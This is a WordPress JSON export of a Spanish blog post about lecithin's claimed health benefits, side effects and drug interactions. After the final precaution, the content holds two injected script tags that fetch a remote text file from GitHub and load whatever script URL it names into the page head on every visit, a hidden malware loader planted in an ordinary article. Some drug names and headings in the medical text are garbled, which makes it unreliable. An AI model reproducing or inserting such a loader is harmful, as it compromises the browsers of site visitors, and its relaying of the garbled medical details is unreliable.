{"id":4476,"date":"2023-12-30T15:18:13","date_gmt":"2023-12-30T07:18:13","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4476"},"modified":"2024-04-13T00:00:57","modified_gmt":"2024-04-12T16:00:57","slug":"efficacy-and-side-effects-of-lecithin","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/es\/eficacia-y-efectos-secundarios-de-la-lecitina\/","title":{"rendered":"Eficacia y efectos secundarios de la lecitina"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-f377f4f\" data-block-id=\"f377f4f\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3943\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Soy-isoflavones-and-health.webp\" width=\"808\" height=\"452\" alt=\"Isoflavonas de soja y salud\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Soy-isoflavones-and-health.webp 808w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Soy-isoflavones-and-health-300x168.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Soy-isoflavones-and-health-768x430.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Soy-isoflavones-and-health-600x336.webp 600w\" sizes=\"(max-width: 808px) 100vw, 808px\" \/><\/figure><\/div>\n\n\n\n<p>El origen de la lecitina es una mezcla compleja de fosfol\u00edpidos (comunes en tejidos animales y vegetales) que fue aislada por primera vez de la yema de huevo por qu\u00edmicos franceses en 1846.<\/p>\n\n\n\n<p>Los principales componentes son: colina, \u00e1cidos grasos, glicerol, glicol\u00edpidos, \u00e1cido fosf\u00f3rico, triglic\u00e9ridos y fosfol\u00edpidos, entre los cuales los fosfol\u00edpidos son los componentes estructurales y funcionales clave de todas las membranas celulares vegetales y animales, como la fosfolipilacilserina, la fosfolipilcolina, el fosfolipilinositol, etc.<\/p>\n\n\n\n<p>Debido a que la lecitina tiene un efecto emulsionante (puede unir agua y grasa), se utiliza ampliamente en la elaboraci\u00f3n de alimentos, como helados, preparados para lactantes, pan, margarina, chocolate y otros alimentos, pero tambi\u00e9n como antioxidante y protector del sabor.<\/p>\n\n\n\n<p>La soja es, con diferencia, la materia prima m\u00e1s utilizada para fabricar suplementos de lecitina, aunque a veces tambi\u00e9n se emplea leche, canola, girasol y ma\u00edz.<\/p>\n\n\n\n<p>La lecitina se utiliza desde hace m\u00e1s de un siglo, sobre todo a partir de la soja, pero tambi\u00e9n de la leche, la canola, el girasol y el ma\u00edz. Se pueden encontrar alimentos ricos en lecitina como yemas de huevo, semillas de s\u00e9samo, boniatos, cacahuetes, nueces, etc. Durante el periodo cr\u00edtico del embarazo y la lactancia, aumenta la demanda de nutrici\u00f3n con lecitina, y la suplementaci\u00f3n alimentaria por s\u00ed sola puede no ser capaz de satisfacerla.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfCu\u00e1les son los beneficios emp\u00edricos de la lecitina?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1. La lecitina es beneficiosa para la enfermedad del h\u00edgado graso no alcoh\u00f3lico<\/h3>\n\n\n\n<p>La enfermedad del h\u00edgado graso no alcoh\u00f3lico es una de las hepatopat\u00edas cr\u00f3nicas m\u00e1s comunes, caracterizada por la acumulaci\u00f3n de grasa en el h\u00edgado superior a 5% del peso del h\u00edgado, y m\u00e1s de 30% de la poblaci\u00f3n mundial padece HGNA.<\/p>\n\n\n\n<p>Actualmente no existe consenso sobre el tratamiento farmacol\u00f3gico de la HGNA\/NASH. Tiazolidinedionas, metformina, hipolipemiantes y antioxidantes... Los f\u00e1rmacos que reducen directamente el estr\u00e9s oxidativo y la acumulaci\u00f3n de l\u00edpidos pueden mejorar las manifestaciones cl\u00ednicas de la enfermedad.<\/p>\n\n\n\n<p>Un estudio piloto prospectivo (3 meses) en 30 pacientes con hepatopat\u00eda grasa no alcoh\u00f3lica indic\u00f3 que las c\u00e1psulas orales de fosfatidilcolina (300 mg, 2 c\u00e1psulas cada una), 3 veces al d\u00eda disminu\u00edan la alanina aminotransferasa (ALT) (59,6%) y la aspartato aminotransferasa (AST) (75,4%), y aumentaban las defensas antioxidantes relacionadas con la glutati\u00f3n peroxidasa (GPX) y la super\u00f3xido dismutasa (SOD).<\/p>\n\n\n\n<p>La lecitina oral (fosfatidilcolina) puede ser una ayuda positiva para la enfermedad del h\u00edgado graso no alcoh\u00f3lico, pero debido al peque\u00f1o tama\u00f1o de la muestra, se necesitan estudios m\u00e1s rigurosos de gran tama\u00f1o para una mayor verificaci\u00f3n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. La lecitina es beneficiosa para la colitis ulcerosa<\/h3>\n\n\n\n<p>La colitis ulcerosa es una inflamaci\u00f3n cr\u00f3nica de la mucosa del colon que, dependiendo del individuo, puede extenderse desde el recto hasta el ciego. La causa de la enfermedad es desconocida y se caracteriza por una inflamaci\u00f3n recurrente e incontrolada del colon, con s\u00edntomas como diarrea frecuente, deposiciones r\u00e1pidas, sangrado rectal y fatiga.<\/p>\n\n\n\n<p>La prevalencia en los pa\u00edses occidentales oscila entre 0,02% y 0,23%, y el coste del tratamiento de los pacientes ha superado al del asma, la hipertensi\u00f3n y la enfermedad pulmonar obstructiva cr\u00f3nica.<\/p>\n\n\n\n<p>Algunos estudios han descubierto que la fosfatidilcolina de los componentes de la lecitina es un importante componente protector de la mucosa del colon, y unos niveles demasiado bajos pueden reducir f\u00e1cilmente la funci\u00f3n de barrera hidr\u00f3foba de la mucosa intestinal, permitiendo que las bacterias del colon atraviesen la barrera de la mucosa intestinal, y la consiguiente respuesta inmunitaria puede provocar inflamaci\u00f3n y \u00falceras.<\/p>\n\n\n\n<p>Un metan\u00e1lisis de la bibliograf\u00eda (tres ensayos controlados aleatorizados en los que participaron 160 pacientes con colitis ulcerosa) indic\u00f3 que la formulaci\u00f3n de liberaci\u00f3n sostenida de lecitina (que conten\u00eda fosfatidilcolina 30%) mejoraba las tasas de respuesta, los resultados cl\u00ednicos y endosc\u00f3picos, as\u00ed como la actividad histol\u00f3gica y la calidad de vida.<\/p>\n\n\n\n<p>En el caso de la colitis ulcerosa, la formulaci\u00f3n oral de lecitina de liberaci\u00f3n sostenida puede proporcionar una ayuda positiva, pero debido al peque\u00f1o tama\u00f1o de la muestra, se necesitan m\u00e1s estudios para confirmarlo.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">La lecitina es buena para la insuficiencia hep\u00e1tica<\/h3>\n\n\n\n<p>La progresi\u00f3n de la enfermedad hep\u00e1tica puede dar lugar a diversos trastornos f\u00edsicos que pueden desembocar en insuficiencia hep\u00e1tica y requerir ingreso en cuidados intensivos. La patolog\u00eda subyacente puede ser aguda, lenta m\u00e1s aguda o cr\u00f3nica.<\/p>\n\n\n\n<p>La insuficiencia hep\u00e1tica puede presentarse con una variedad de signos y s\u00edntomas cl\u00ednicos que requieren atenci\u00f3n inmediata. La insuficiencia hep\u00e1tica puede afectar a la actividad sint\u00e9tica y metab\u00f3lica de todos los sistemas org\u00e1nicos, por lo que deben desarrollarse cuidados de apoyo y tratamientos espec\u00edficos para mejorar los resultados y reducir el tiempo de recuperaci\u00f3n.<\/p>\n\n\n\n<p>Un ensayo controlado aleatorio preliminar en pacientes con insuficiencia hep\u00e1tica fulminante y subaguda indic\u00f3 que los pacientes tratados con lecitina (350 mg 3 veces al d\u00eda durante 6 a 8 semanas) presentaban una recuperaci\u00f3n m\u00e1s r\u00e1pida de la encefalopat\u00eda y una tasa de mortalidad menor que un grupo de control no tratado con fosfatidilcolina poliinsaturada (lecitina).<\/p>\n\n\n\n<p>El tratamiento con lecitina puede ayudar positivamente a algunos pacientes con insuficiencia hep\u00e1tica, pero debido al peque\u00f1o tama\u00f1o de la muestra, se necesitan m\u00e1s estudios para comprobarlo.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">La lecitina es beneficiosa para la demencia y la disfunci\u00f3n cognitiva<\/h3>\n\n\n\n<p>La demencia es un t\u00e9rmino general utilizado para describir un s\u00edndrome cl\u00ednico de deterioro cognitivo progresivo, pero sus subtipos se clasifican seg\u00fan la causa de la demencia, como: Enfermedad de Alzheimer, demencia vascular, demencia por cuerpos de Lewy y demencia frontotemporal.<\/p>\n\n\n\n<p>Las manifestaciones cl\u00ednicas de la demencia var\u00edan de una persona a otra, y los d\u00e9ficits cognitivos que provoca pueden ser p\u00e9rdida de memoria, dificultades de comunicaci\u00f3n y lenguaje, agnosia (incapacidad para reconocer objetos), apraxia (incapacidad para realizar tareas previamente aprendidas) y deterioro de la funci\u00f3n ejecutiva (razonamiento, juicio y planificaci\u00f3n).<\/p>\n\n\n\n<p>Una revisi\u00f3n de la bibliograf\u00eda (que inclu\u00eda 12 ensayos aleatorizados relacionados con la enfermedad de Alzheimer, la enfermedad de Parkinson y los problemas subjetivos de memoria) indic\u00f3 que la administraci\u00f3n de suplementos de lecitina no ten\u00eda ning\u00fan beneficio cl\u00ednico claro en comparaci\u00f3n con el placebo en la enfermedad de Alzheimer o la enfermedad de Parkinson, pero puede ser \u00fatil para los problemas subjetivos de memoria.<\/p>\n\n\n\n<p>Hasta ahora, la suplementaci\u00f3n con lecitina no ha ayudado significativamente a la demencia y la funci\u00f3n cognitiva, lo que debe comprobarse en estudios m\u00e1s amplios.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">La lecitina es beneficiosa para el desarrollo de enfermedades mentales<\/h3>\n\n\n\n<p>La esquizofrenia se considera un trastorno del neurodesarrollo cerebral causado por factores de riesgo gen\u00e9ticos y ambientales tempranos, entre ellos: malnutrici\u00f3n materna, depresi\u00f3n, ansiedad, infecci\u00f3n y tabaquismo, y se caracteriza por dos clases de s\u00edntomas: positivos y negativos.<\/p>\n\n\n\n<p>Los s\u00edntomas positivos incluyen alucinaciones, delirios, patrones desorganizados de pensamiento y habla, y comportamiento motor anormal, mientras que los s\u00edntomas negativos incluyen embotamiento o aplanamiento emocional, falta de motivaci\u00f3n, ausencia o disminuci\u00f3n de los patrones del habla, disminuci\u00f3n del inter\u00e9s por las interacciones sociales y anhedonia.<\/p>\n\n\n\n<p>Un ensayo doble ciego controlado con placebo en 49 ni\u00f1os revel\u00f3 que los hijos de madres que hab\u00edan recibido suplementos de lecitina durante el embarazo ten\u00edan menos problemas de atenci\u00f3n y menos retraimiento social en las evaluaciones conductuales.<\/p>\n\n\n\n<p>La magnitud de la mejora es comparable a d\u00e9ficits similares observados en personas con esquizofrenia a esta edad.<\/p>\n\n\n\n<p>El mecanismo subyacente est\u00e1 relacionado con el aumento de la activaci\u00f3n del receptor de acetilcolina \u03b17-nicot\u00ednico por la lecitina, que a su vez altera el desarrollo de problemas de comportamiento en los ni\u00f1os peque\u00f1os<\/p>\n\n\n\n<p>La lecitina oral durante el embarazo puede reducir el riesgo de problemas de conducta psiqui\u00e1trica en la descendencia, pero los resultados deben confirmarse en m\u00e1s estudios amplios<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">La lecitina es buena para la hipercolesterolemia<\/h3>\n\n\n\n<p>El colesterol es una biomol\u00e9cula esencial para la estructura y el funcionamiento de las membranas celulares de los mam\u00edferos y para la s\u00edntesis de hormonas y vitaminas.<\/p>\n\n\n\n<p>La hipercolesterolemia es un estado de niveles anormales de l\u00edpidos en la sangre, el secundario m\u00e1s com\u00fan, que representa alrededor de 80%, y el resto de las causas son dislipidemias primarias causadas por genes anormales del metabolismo de las lipoprote\u00ednas.<\/p>\n\n\n\n<p>Aunque la relaci\u00f3n entre el aumento del colesterol y las enfermedades cardiovasculares se ha convertido en el centro de atenci\u00f3n, factores de riesgo como el tabaquismo, la hipertensi\u00f3n arterial y la diabetes tambi\u00e9n pueden provocar aterosclerosis.<\/p>\n\n\n\n<p>Un estudio doble ciego controlado de dos meses de duraci\u00f3n en 30 pacientes con hipercolesterolemia demostr\u00f3 que las c\u00e1psulas orales de lecitina (500 mg diarios) reduc\u00edan significativamente las concentraciones de colesterol total y de colesterol de lipoprote\u00ednas de baja densidad (LDL) en comparaci\u00f3n con el placebo.<\/p>\n\n\n\n<p>El mecanismo subyacente puede estar relacionado con la reducci\u00f3n de la absorci\u00f3n intestinal de colesterol o el aumento de la secreci\u00f3n de \u00e1cidos biliares.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">La lecitina oral puede ayudar a mejorar la hipercolesterolemia<\/h3>\n\n\n\n<p>Siete. La lecitina alivia los s\u00edntomas de la menopausia en las mujeres<\/p>\n\n\n\n<p>La transici\u00f3n a la menopausia, o perimenopausia, est\u00e1 asociada a profundos cambios en la reproducci\u00f3n y las hormonas. El s\u00edntoma t\u00edpico son los sofocos, la mayor\u00eda de las mujeres presentan este s\u00edntoma, aproximadamente un tercio de las mujeres tienen problemas de moderados a graves.<\/p>\n\n\n\n<p>Otros s\u00edntomas, como dolor y rigidez articular, fatiga, dificultad para concentrarse, falta de sue\u00f1o, irritabilidad y depresi\u00f3n, son bastante comunes entre las mujeres de mediana edad.<\/p>\n\n\n\n<p>Un estudio aleatorizado, doble ciego, controlado con placebo y de 8 semanas de duraci\u00f3n en 86 mujeres de entre 40 y 60 a\u00f1os demostr\u00f3 que la suplementaci\u00f3n con altas dosis de lecitina de soja mejoraba las puntuaciones de vitalidad (medidas por la Escala Breve del Estado Emocional POMS), la presi\u00f3n arterial diast\u00f3lica y el \u00edndice vascular cardio-maleolar.<\/p>\n\n\n\n<p>La lecitina puede ser \u00fatil para mejorar algunos s\u00edntomas de la menopausia (como la fatiga) en las mujeres<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">La lecitina es beneficiosa para el trastorno bipolar<\/h3>\n\n\n\n<p>El trastorno bipolar es un trastorno cr\u00f3nico recidivante caracterizado por episodios recurrentes de man\u00eda o depresi\u00f3n, que suelen aparecer en la adolescencia o en los primeros a\u00f1os de la edad adulta.<\/p>\n\n\n\n<p>Los pacientes experimentan episodios de depresi\u00f3n, caracterizados por un estado de \u00e1nimo bajo y s\u00edntomas relacionados (como p\u00e9rdida de placer y disminuci\u00f3n de la energ\u00eda), mientras que los episodios de man\u00eda, caracterizados por sentimientos de excitaci\u00f3n o irritabilidad, o ambos, asociados a un aumento de la energ\u00eda y una disminuci\u00f3n de la necesidad de dormir, o hipoman\u00eda.<\/p>\n\n\n\n<p>Un estudio de casos y controles en un var\u00f3n con man\u00eda leve a moderada y el gen DGKH demostr\u00f3 que el uso de suplementos de lecitina adem\u00e1s de la medicaci\u00f3n aliviaba los s\u00edntomas de hipoman\u00eda e insomnio.<\/p>\n\n\n\n<p>La suplementaci\u00f3n con lecitina puede ser beneficiosa en pacientes con genes de susceptibilidad DGKH para el trastorno bipolar, pero se necesitan m\u00e1s ensayos para confirmar su beneficio cl\u00ednico<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">La lecitina mejora la obstrucci\u00f3n de los conductos mamarios<\/h3>\n\n\n\n<p>Aunque la lactancia materna aporta beneficios asombrosos, tambi\u00e9n conlleva algunos retos, como el bloqueo (u obstrucci\u00f3n) de los conductos galact\u00f3foros y la mastitis.<\/p>\n\n\n\n<p>La obstrucci\u00f3n de los conductos mamarios es un problema frecuente en la lactancia, y se produce cuando la leche no sale completamente del pecho, o cuando hay demasiada presi\u00f3n en su interior. Puede dar la sensaci\u00f3n de que hay un bulto blando en el pecho, lo que puede resultar doloroso e inc\u00f3modo para una madre primeriza.<\/p>\n\n\n\n<p>La lecitina se menciona a menudo en el tratamiento de la obstrucci\u00f3n parcial de los conductos mamarios y se cree que previene la obstrucci\u00f3n de los conductos mamarios reduciendo la viscosidad de la leche (al aumentar la proporci\u00f3n de \u00e1cidos grasos poliinsaturados en la leche).<\/p>\n\n\n\n<p>La dosis recomendada es de unos 3.600-4.800 mg de lecitina al d\u00eda, o 1 c\u00e1psula cada vez.<\/p>\n\n\n\n<p>Hasta la fecha, la lecitina se ha utilizado para mejorar la obstrucci\u00f3n de los conductos mamarios, pero ning\u00fan estudio cient\u00edfico ha evaluado si el tratamiento es eficaz.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfTiene efectos secundarios la lecitina?<\/h2>\n\n\n\n<p>La lecitina es muy segura para la mayor\u00eda de las personas, pero se han notificado posibles efectos secundarios como diarrea, sudoraci\u00f3n excesiva, v\u00f3mitos, n\u00e1useas, dolor abdominal o sensaci\u00f3n de plenitud.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Precauciones de seguridad (7 puntos tab\u00fa)<\/h3>\n\n\n\n<p>1. Puede provocar reacciones al\u00e9rgicas (la lecitina suele extraerse de la soja, la yema de huevo, las semillas de girasol o de colza, por lo que puede contener residuos prote\u00ednicos del extracto original. Esto significa que las personas al\u00e9rgicas a la soja, la colza, los huevos o las semillas de girasol tambi\u00e9n pueden tener una reacci\u00f3n al\u00e9rgica a la lecitina, con s\u00edntomas como: erupci\u00f3n cut\u00e1nea, dificultad para respirar, hinchaz\u00f3n de la cara, los labios, la lengua o la garganta).<\/p>\n\n\n\n<p>2. Metabolito de la lecitina: La colina se convierte en TMAO en el intestino, y los niveles m\u00e1s altos de TMAO se asocian con un mayor riesgo de eventos adversos cardiovasculares mayores.<\/p>\n\n\n\n<p>3. La lecitina interviene en la adipog\u00e9nesis y la acumulaci\u00f3n de l\u00edpidos hep\u00e1ticos, y su exceso puede estar asociado a la obesidad y la esteatosis hep\u00e1tica.<\/p>\n\n\n\n<p>4. No combinar con f\u00e1rmacos anticolin\u00e9rgicos, que pueden afectar a la eficacia del medicamento, los nombres de f\u00e1rmacos relevantes son: (atropina), (escopolamina), (antihistam\u00ednico), (antidepresivo)<\/p>\n\n\n\n<p>5. No utilizar con inhibidores de la acetilcolinesterasa, puede aumentar los efectos secundarios de los medicamentos, los nombres de medicamentos relacionados son: (Doneguazil), (tacrina), (capalatina), (galantamina)<\/p>\n\n\n\n<p>6. No tratar el glaucoma y los medicamentos de sjogren: pilocarpina uso combinado, puede aumentar la probabilidad de efectos secundarios.<\/p>\n\n\n\n<p>7. La lecitina puede aumentar la adhesi\u00f3n plaquetaria y reducir as\u00ed la eficacia de los anticoagulantes como la aspirina. Tenga cuidado si toma medicamentos anticoagulantes relacionados.<\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>The origin of lecithin is a complex mixture of phospholipids (common in animal and plant tissues) that was first isolated from egg yolks by French chemists in 1846. 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The main components include: choline, fatty acids, glycerol, glycolipids, phosphoric acid, triglycerides and phospholipids, among which phospholipids are the key structural and functional components of all plant and animal cell membranes, including phospholipylacylserine, phospholipylcholine, phospholipylinositol and so on. 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